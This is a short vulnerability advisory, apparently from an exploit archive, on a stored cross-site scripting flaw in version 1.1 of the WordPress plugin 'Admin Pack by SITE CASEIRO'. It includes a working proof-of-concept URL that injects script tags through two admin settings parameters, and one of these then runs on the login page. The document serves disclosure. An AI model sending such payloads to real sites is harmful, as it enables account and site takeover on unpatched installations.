WordPress Admin Pack By Site Caseiro 1.1 Cross Site Scripting Vulnerability

2015-08-04T00:00:00
ID 1337DAY-ID-23967
Type zdt
Reporter Kenneth Jepsen
Modified 2015-08-04T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            Title: WordPress 'Admin Pack by SITE CASEIRO' Plugin
Version: 1.1
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-14
Download:
- https://wordpress.org/plugins/admin-pack-by-site-caseiro/
- https://plugins.svn.wordpress.org/admin-pack-by-site-caseiro/
Notified WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
Insira uma imagem personalizada na pagina de login do WP, e configure o Rodapé da administração.

## Vulnerabilities
==========================================================
Admin settings are stored and displayed unsanitized, making XSS possible.

PoC:
Log in as admin and visit this URL: [URL]/wp-admin/options-general.php?page=admin-pack-by-site-caseiro/admin-pack-sc.php&submit=adsf&sc_plugin_admin_personalizado_imagem=</style></textarea><script>alert(1)</script>&sc_plugin_admin_personalizado_rodape=</textarea><script>alert(2)</script>

When the settings have been saved (by visiting the above URL), the first injected script ('sc_plugin_admin_personalizado_imagem' parameter) is also executed on the WordPress login page.

## Solution
==========================================================
No fix available

==========================================================
Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

#  0day.today [2018-01-17]  #